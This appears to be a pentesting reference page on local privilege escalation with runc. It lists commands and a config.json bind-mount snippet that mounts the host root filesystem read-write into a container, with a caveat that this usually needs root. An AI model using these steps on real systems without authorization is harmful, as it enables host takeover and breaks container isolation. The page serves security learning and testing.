## Basic information
|
|
|
|
If you want to learn more about **runc** check the following page:
|
|
|
|
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
|
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
|
{% endcontent-ref %}
|
|
|
|
## PE
|
|
|
|
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
|
|
|
|
```bash
|
|
runc -help #Get help and see if runc is intalled
|
|
runc spec #This will create the config.json file in your current folder
|
|
|
|
Inside the "mounts" section of the create config.json add the following lines:
|
|
{
|
|
"type": "bind",
|
|
"source": "/",
|
|
"destination": "/",
|
|
"options": [
|
|
"rbind",
|
|
"rw",
|
|
"rprivate"
|
|
]
|
|
},
|
|
|
|
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
|
mkdir rootfs
|
|
|
|
# Finally, start the container
|
|
# The root folder is the one from the host
|
|
runc run demo
|
|
```
|
|
|
|
{% hint style="danger" %}
|
|
This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
